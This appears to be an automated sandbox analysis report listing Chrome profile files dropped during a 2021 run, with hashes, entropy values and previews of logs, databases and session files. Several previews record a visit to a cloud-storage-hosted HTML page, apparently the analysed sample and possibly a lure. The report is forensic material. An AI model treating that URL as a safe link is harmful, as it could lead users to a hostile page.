Preview:	2021/10/18-22:45:40.909 1360 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2021/10/18-22:45:40.911 1360 Recovering log #3.2021/10/18-22:45:40.911 1360 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.oldl- (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1805020898560015
Encrypted:	false
SSDEEP:	6:mTVFIq2P923iKKdK8aPrqIFUtCAZmwAokwO923iKKdK8amLJ:okv45KkL3FUtCA/Ao5L5KkQJ
MD5:	B7DFF7757429D3B62F79A9B6C584D1A1
SHA1:	A35417A63AD76A7DC072139AF358D9A996A00EDC
SHA-256:	8812D4594DF9A32007FA26BCB626CDB5E26F9C00D85777D0056B22B0F0775D3F
SHA-512:	90695DD404DE23046C3B21183227C13CC7A7A6D7C058A1FAFDC6688CE145E01A0C73DA605FCE39810E660E8987CE486E1F65A2DFBB9123FDB29ECB732B217A10
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.909 1360 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2021/10/18-22:45:40.911 1360 Recovering log #3.2021/10/18-22:45:40.911 1360 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW8:
MD5:	531557DF3F473422DD0102A22E51FE15
SHA1:	E2048D9AD1D7E3AC2135A339A6FF91814A473501
SHA-256:	FB89F5D2BDE68159700BDE0E306D9E5D5CFF0B0AF733603967D228BB9C286A93
SHA-512:	64EFCB0E9EA0D90E827555B9CA381A34F39AADD524B631CD5E3D4BA1EEF0A27CDEE8116138869A7FD5BE0F647CEEA08F95146273138921C46F1245DA0D0A9C4A
Malicious:	false
Reputation:	low
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.147660269446926
Encrypted:	false
SSDEEP:	6:mTL3cM+q2P923iKKdK8NIFUtCTeXZmwAVvpMVkwO923iKKdK8+eLJ:oD9+v45KkpFUtCS/AVviV5L5KkqJ
MD5:	9772C12304AA4C060EE9C371AAF1F93A
SHA1:	1400CE07AB18FE820A6B5B0A5756F5FF635E793C
SHA-256:	870221CFDA80CB9D44C519DBE7FEF2CF61C27F7924FDA87115BAC48B8313E1BA
SHA-512:	28D16D238FDA9A19F273E5B237D83A73CE58F5BD665733CF6D7B6A197E865DB2FBDCA01473F7D8C747EA1469AACFA7674B3DAAFCCE141AD57162D9950B76403D
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:42.911 eac Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/10/18-22:45:42.912 eac Recovering log #3.2021/10/18-22:45:42.914 eac Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.147660269446926
Encrypted:	false
SSDEEP:	6:mTL3cM+q2P923iKKdK8NIFUtCTeXZmwAVvpMVkwO923iKKdK8+eLJ:oD9+v45KkpFUtCS/AVviV5L5KkqJ
MD5:	9772C12304AA4C060EE9C371AAF1F93A
SHA1:	1400CE07AB18FE820A6B5B0A5756F5FF635E793C
SHA-256:	870221CFDA80CB9D44C519DBE7FEF2CF61C27F7924FDA87115BAC48B8313E1BA
SHA-512:	28D16D238FDA9A19F273E5B237D83A73CE58F5BD665733CF6D7B6A197E865DB2FBDCA01473F7D8C747EA1469AACFA7674B3DAAFCCE141AD57162D9950B76403D
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:42.911 eac Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/10/18-22:45:42.912 eac Recovering log #3.2021/10/18-22:45:42.914 eac Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	11217
Entropy (8bit):	6.069602775336632
Encrypted:	false
SSDEEP:	192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT
MD5:	90F880064A42B29CCFF51FE5425BF1A3
SHA1:	6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF
SHA-256:	965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268
SHA-512:	D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3
Malicious:	false
Reputation:	low
Preview:	{"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZrQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","wifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7CMjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhlzuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_1\_metadata\computed_hashes.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	23474
Entropy (8bit):	6.059847580419268
Encrypted:	false
SSDEEP:	384:7dNc1NC6IcafusK4H1IIGRlhKlkIALQWdynQh2RX4K6M1tVztzr7XSNyzH:7dOscSRKc1nGRSkIhEw6M1tf7SNyb
MD5:	6AE2135EA4583C2F06CDEBEA4AE70FA4
SHA1:	DCEB26C7F02D53B5F214305F4C75B4A33A79CDC2
SHA-256:	03AA1944CB3C4F39E20B6361571BC45DFBEBD3FFDA3D8F148CC6ECB29958F903
SHA-512:	B5945E67D9F73DD1982D687E5C6D9B5D6B3886C8050363A259755C76AC0F93651F3425FA7C21AA6A13977AC1C8C9322F998F131648CB8909096058D4F0D23312
Malicious:	false
Reputation:	low
Preview:	{"file_hashes":[{"block_hashes":["DOZdV3jFvk12AM2JNDYKo3KZrIVRprmJ+sVGWkqqE4Q=","rVElW3Hu3T52SzDDUqGT5YiJTBGUv2h3pNuBKFlhZ1U=","X/3fg4KZxgQ1jBr5QGq0F5JnflgE27UErd88mrxTcxs=","VibLbpy0ig+5INMOU71fTYN76iaka2XVpmm1qAKYsX8=","EChCwCbQHbHQ7oDdGT2qNyiRJ0yck2YC2emNGq4whtE="],"block_size":4096,"path":"_locales/iw/messages.json"},{"block_hashes":["xklkoZ7iSU1+7cd6DAtEmUC5lPFd+EgcbnzxkOiFwlk=","3KbsvoxKY/3AwqgF2aAdVQRpMhsNVRkQ3rx2A6Z2Z+Y=","o9+tsohquaCMj+70zeinRG/hBhA2uLoDl/WoC1uokME=","xV/K8xucyWJELVT8Cqn+ugFjobBVmg8pnmACF+2PP4Y=","p/mvJm2wuCl32Rx3it654MljKAsMe3S9IDEabc1A8mE=","j8mPrTb5oOsBTj2Fer78JE6xG6+kR64Cvu2SW8d3j/k=","nqSRpGQ3USU2bZJsZ+AzBmFOyann8omwJrhEWFZDTXc=","eTcQyJUuNuF9yCga/fXGyFCj/pysSceanhBzksdx23s=","Wj7faqnspelXKMvnduxHn1XUBG8TEOqyns7/oUihekM=","VtBwXoadI3EP336rAiL33Gz19KGqtN+RYdKnMKAXoLw=","iDgLXQqXJp8nCZxgLuC9LXM45DGfufvGnXvmHsn18wc=","g+RfdDfrWTUK0Pkcsbot7NJ4SC9wVRV/dVVMuHAtEj8=","2oC4HcCuXu3VjFf6wnKlznt9uqQNaebcuWpm/mWj69U=","aMUIpuFqPMiieSaWhIktCK62v2P3OZQAWupWsYzCnvk=","L

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	1.939688780537353
Encrypted:	false
SSDEEP:	96:0BCysMDuq7opMDuqFrW1LAw25YxPg6YsUs4EDnA2OA:mNsmBMpmBd5YFg6Yip7lf
MD5:	57C942D15C85DEE3E9682F97AD824FAE
SHA1:	1F4754860C21CD36A7B807D47C9A68B47ED21107
SHA-256:	667F112741B40697F5EC28E03792B4BD363E76C0E9D95A99A96DBAC91E7EB915
SHA-512:	87B96BB703C1E57F6C5C8EEAB7681A70BA84F0CBEBDFE4966513EE24001F1A18059C3ACBB9AFD8722A72B362763C03797CF7022374B8203B35E51AA89169EF8D
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................C..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlX:qTCT
MD5:	51A2CBB807F5085530DEC18E45CB8569
SHA1:	7AD88CD3DE5844C7FC269C4500228A630016AB5B
SHA-256:	1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC
SHA-512:	B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF
Malicious:	false
Reputation:	low
Preview:	.f.5................f.5...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	374
Entropy (8bit):	5.225062702125918
Encrypted:	false
SSDEEP:	6:mTFLjqADM+q2P923iKKdK25+Xqx8chI+IFUtCFLhbWAgZmwAFLdADMVkwO923iKG:oFSADM+v45KkTXfchI3FUtCFtbWAg/AG
MD5:	64A1E49C4EF5684F0D12E1CA66D6D686
SHA1:	8074091C6AA410F682861D2FDB78D24CB77A5DF2
SHA-256:	C84AB61B19B2606C93BA9AAC4946A7A87B87C0C31B73857AC76274DE1A87BD26
SHA-512:	DD408C48569289B149ABD845C705F1632050C1E73CA632619A828799E2B9BF2509DDA6E8036C4BE889D8E555B237264CB86E455422C1D7C93A6F295E1EAD82BD
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:55.855 118c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MANIFEST-000001.2021/10/18-22:45:55.857 118c Recovering log #3.2021/10/18-22:45:55.858 118c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.oldh. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	374
Entropy (8bit):	5.225062702125918
Encrypted:	false
SSDEEP:	6:mTFLjqADM+q2P923iKKdK25+Xqx8chI+IFUtCFLhbWAgZmwAFLdADMVkwO923iKG:oFSADM+v45KkTXfchI3FUtCFtbWAg/AG
MD5:	64A1E49C4EF5684F0D12E1CA66D6D686
SHA1:	8074091C6AA410F682861D2FDB78D24CB77A5DF2
SHA-256:	C84AB61B19B2606C93BA9AAC4946A7A87B87C0C31B73857AC76274DE1A87BD26
SHA-512:	DD408C48569289B149ABD845C705F1632050C1E73CA632619A828799E2B9BF2509DDA6E8036C4BE889D8E555B237264CB86E455422C1D7C93A6F295E1EAD82BD
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:55.855 118c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MANIFEST-000001.2021/10/18-22:45:55.857 118c Recovering log #3.2021/10/18-22:45:55.858 118c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.182774637205695
Encrypted:	false
SSDEEP:	6:mTFLB1ADM+q2P923iKKdK25+XuoIFUtCFLnbWAgZmwAFLnbWADMVkwO923iKKdKl:oFl1ADM+v45KkTXYFUtCF2Ag/AF2ADMV
MD5:	B66B0044CE766B81E7C4D8C42C99972A
SHA1:	FD50D20449E58A8D1B889AD8324A910C0E0F158F
SHA-256:	23A9804FC4638B271C28E6D71AECED3FC18BF9EBE0602E700C1F38F957198087
SHA-512:	A82B9C3C711A5DFF3DEC1E394B6D2B4B85F5B83DF9317377A8EF498B9931C13F2BEA069A4C0209E2A99A22130A2DA4C31211F5C3D66FCF48026AA0AB1280D392
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:55.849 118c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-000001.2021/10/18-22:45:55.851 118c Recovering log #3.2021/10/18-22:45:55.851 118c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.182774637205695
Encrypted:	false
SSDEEP:	6:mTFLB1ADM+q2P923iKKdK25+XuoIFUtCFLnbWAgZmwAFLnbWADMVkwO923iKKdKl:oFl1ADM+v45KkTXYFUtCF2Ag/AF2ADMV
MD5:	B66B0044CE766B81E7C4D8C42C99972A
SHA1:	FD50D20449E58A8D1B889AD8324A910C0E0F158F
SHA-256:	23A9804FC4638B271C28E6D71AECED3FC18BF9EBE0602E700C1F38F957198087
SHA-512:	A82B9C3C711A5DFF3DEC1E394B6D2B4B85F5B83DF9317377A8EF498B9931C13F2BEA069A4C0209E2A99A22130A2DA4C31211F5C3D66FCF48026AA0AB1280D392
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:55.849 118c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-000001.2021/10/18-22:45:55.851 118c Recovering log #3.2021/10/18-22:45:55.851 118c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.19557349350809
Encrypted:	false
SSDEEP:	6:mTFLQS8ADM+q2P923iKKdKWT5g1IdqIFUtCFLQ6AgZmwAFLQ6ADMVkwO923iKKd6:oFb8ADM+v45Kkg5gSRFUtCFHAg/AFHAw
MD5:	6314038F6ACDC71E83739080217251CF
SHA1:	4F5CC942D1AD7B05C34D8052C9C7C9783BE0DB84
SHA-256:	7AEBB09C7FCB6E6C2368D9EABE9D6C743BD44A8F8919B7F67FBF127723F2A595
SHA-512:	CFAD358E6D3B8B54E385C0768DAE0CB7EE038033042092009A5BF83C9752B6411C81EB1CF750F89BD983A6EDC1E5A7065AC3B47A1AD34446B0F8257302907DDB
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:55.578 118c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/10/18-22:45:55.580 118c Recovering log #3.2021/10/18-22:45:55.580 118c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.19557349350809
Encrypted:	false
SSDEEP:	6:mTFLQS8ADM+q2P923iKKdKWT5g1IdqIFUtCFLQ6AgZmwAFLQ6ADMVkwO923iKKd6:oFb8ADM+v45Kkg5gSRFUtCFHAg/AFHAw
MD5:	6314038F6ACDC71E83739080217251CF
SHA1:	4F5CC942D1AD7B05C34D8052C9C7C9783BE0DB84
SHA-256:	7AEBB09C7FCB6E6C2368D9EABE9D6C743BD44A8F8919B7F67FBF127723F2A595
SHA-512:	CFAD358E6D3B8B54E385C0768DAE0CB7EE038033042092009A5BF83C9752B6411C81EB1CF750F89BD983A6EDC1E5A7065AC3B47A1AD34446B0F8257302907DDB
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:55.578 118c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/10/18-22:45:55.580 118c Recovering log #3.2021/10/18-22:45:55.580 118c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.7669516526024207
Encrypted:	false
SSDEEP:	384:tfmBI4pHmBTmBVmBimBzumBWU3iVy/BBE3utmB2:5fYki70u9oiWBBjt/
MD5:	B215D518D8A697FCE3B57D74D8092A41
SHA1:	E51F74F4355B7BCA1AD54E710113106E9147B6DA
SHA-256:	B2ABC22F0F1701F162CD199DEA7CCF17363660B14503D3E4EEB0A2F8B18400A7
SHA-512:	06AF14DAB5D1BFD49D7F158E81181F29DBE97F861A3F761350621129B7039196E382689B2CCBFCB4E38640ADC517289882E805AD0A47D64A9DE2FDA0BD473C50
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	5.461044480647619
Encrypted:	false
SSDEEP:	24:/ynZvv6b5ulqwjRyN64EoxMiKeSq5PVY78BJgskfa9yBDOxo7nA29MuE/uUPMQVL:/cNEAjggniKG3UsAMDuRQVTe2
MD5:	43A28E34E99CC24BAA134074D6BD25F6
SHA1:	45D1EE56FB8A96179CFF3F97FF70C9B9DC36053B
SHA-256:	F5B01184F2662248C9785133DE475500E2DEDD4E2020005FD461DE02743EE2FE
SHA-512:	39BC26C1132D0AEF2E1984A779558DA1E78FB47702747330507288CA4EE85F6655EDCA4972C8483D0BB5B245F2550E6F96177653D38BA37FA48030E6D9F82B56
Malicious:	false
Reputation:	low
Preview:	.........."......0..048464344988443721..3fdjn39fduh3nfdfn..a..appspot..com..d..download..file..googleapis..html..https..l..m4b38h10cm38..public..storage........0......048464344988443721......3fdjn39fduh3nfdfn......a......appspot......com......d......download......file......googleapis......html......https......l......m4b38h10cm38......public......storage..2.........0..........1.........2........3..........4.........6........7........8.........9.........a............b.........c..........d..........e..........f.........g.........h...........i..........j........l.............m..........n.........o............p...........r........s...........t...........u.........w...:....................................................................................................................................................B............. .....vhttps://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#2.File Download:.............J

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2193494955419072
Encrypted:	false
SSDEEP:	3:iBK/n3lljq7A/mhWJFuQ3yy7IOWUT2BV4/dweytllrE9SFcTp4AGZVV9RUIh:iBss75fO5E4/d0Xi99pG/3
MD5:	44D7B114C9C9970664170A1A86BF5AE4
SHA1:	0797902F42F4C98CC5ED51A720F00920DF8CA1E0
SHA-256:	D6B0245EB05181F7527985E18614D32AE5EA2815DAF4287CAE44E007EEC01FC3
SHA-512:	ADB5887FD3505FC82CA6167790B114229DFC6D3C8D81EB2921A1BDCDF084E29744706C3D993CF6EE78958EB5067B4FEACBD66263DE6C7353A6608BCD6AA0A4A7
Malicious:	false
Reputation:	low
Preview:	............6&..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	45
Entropy (8bit):	4.300527752453302
Encrypted:	false
SSDEEP:	3:tUKgY4WM2SWFv:mT3Dg
MD5:	AE768543B140B43FFDDCE6D5B79C3F32
SHA1:	930B42EF538F83F53063AEF614B5BE877D522A5C
SHA-256:	1D89C8F622F49E197BB2FFA88516D7E260B0922A050F354520ACEE86A9758A37
SHA-512:	DCB8A2D09EE4C952130956A0389DC10EE40B08B11A2152478BBB4620DFB916919534BDB6B6EDFC61A0CEB496E4B644559D7E6E521F55CFFA15F020AA5B475C6A
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:49.644 748 Delete type=3 #1.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last Session (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1590
Entropy (8bit):	3.7514906879305605
Encrypted:	false
SSDEEP:	48:348xec0knMDuRQaphYHKoYKMDuRQYsGatRL:34TeMDuqaPQdYKMDuqzGaz
MD5:	8E42112DF533E49E7DB513B30A691137
SHA1:	E2638B5178293002BD0026C12A7F269C5D054C1F
SHA-256:	72CD695C2BF57C576889D58EA4B0B477CE56B29A915C367536943ABCF855D090
SHA-512:	D2C67AA10456F8E615B09ECCF3A4D65390FA088D0FB5F0D69BA422D650DED7413C4668AAD11430F7AB4FE392B877559EE6E0FF1415B78F22752253B1E47EB59B
Malicious:	false
Reputation:	low
Preview:	SNSS....................................................!.............................................1..,.......$...d26abd76_9e1b_461f_b86d_e327d2d7d4a1..........................................................................................................5..0.......&...{2F4F8386-A58B-4B0C-A17B-2FAAF764E551}............................v...https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#......<...8.......0...................................h.......`...............X...............`...............X.........%,......%,................................................v...h.t.t.p.s.:././.s.t.o.r.a.g.e...g.o.o.g.l.e.a.p.i.s...c.o.m./.m.4.b.3.8.h.1.0.c.m.3.8...a.p.p.s.p.o.t...c.o.m./.d./.f.i.l.e./.0./.p.u.b.l.i.c./.a./.3.f.d.j.n.3.9.f.d.u.h.3.n.f.d.f.n...h.t.m.l.?.l.=.0.4.8.4.6.4.3.4.4.9.8.8.4.4.3.7.2.1.#.....................................8.......0.......8...................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last Tabsnd (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	1.8112781244591325
Encrypted:	false
SSDEEP:	3:3Dtn:3h
MD5:	0686D6159557E1162D04C44240103333
SHA1:	053E9DB58E20A67D1E158E407094359BF61D0639
SHA-256:	3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB
SHA-512:	884C0D3594390E2FC0AEAB05460F0783815170C4B57DB749B8AD9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DE58E794550599AAA261120976C
Malicious:	false
Reputation:	low
Preview:	SNSS....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	7826
Entropy (8bit):	5.3910325828051775
Encrypted:	false
SSDEEP:	192:R60sdEhKpE5fg7QbHgQjy1Xd6tgFE5fggPp:w91QT8ePp
MD5:	93E4251F850E55754EAC769858454DEF
SHA1:	1B5979473F4188D026EDB435BF6BBB7E8F90B8B7
SHA-256:	763B747833F6159BC75A3E5A9C06F5BA37BA0A4D39D842DFE5F0CBF406739385
SHA-512:	9EE77B2E42B51AF352E0E2FB113C16DE40469E136D8779914B4EE27E17D05FAB1AEE96ACCAB3341082BD24DCD9BC88BEB9E25C7584573894B1D29A6E68F7070C
Malicious:	false
Reputation:	low
Preview:	.d..................VERSION.1.8META:chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm.............Q_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.persistent.CloudProvider7.{"cloudEnabled":false,"notifiedHangoutsPrivacy":false}.S_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.persistent.IdentityService6.{"signedIn":false,"userEmail":null,"kioskAuth":false}.Y_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.HangoutSinkDiscoveryService;.{"cache":{"sinks":{},"g":{},"h":null},"manualHangouts":{}}.a_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.IdGenerator.cast.RequestIdGenerator..215468000.H_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.LogManager...["[2020-09-30 07:43:16.96][INFO][mr.Init] MR instance ID: 6870862c-e226-4872-ad79-5f23fe89a0ec\n","[2020-09-30 07:43:16.96][INFO][mr.Init] Native Cast MRP is disabled.\n","[2020-09-30 07:43:16.96][INFO][mr.Init] Native Mirroring Service is enabled.\n","[2020-09-30 07:43:16.96][INFO

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.201805513217458
Encrypted:	false
SSDEEP:	6:mTX0Jjyq2P923iKKdK8a2jMGIFUtCXSVFz1ZmwAXS6L1RkwO923iKKdK8a2jMmLJ:oXsOv45Kk8EFUtCXmFz1/AX3P5L5Kk8N
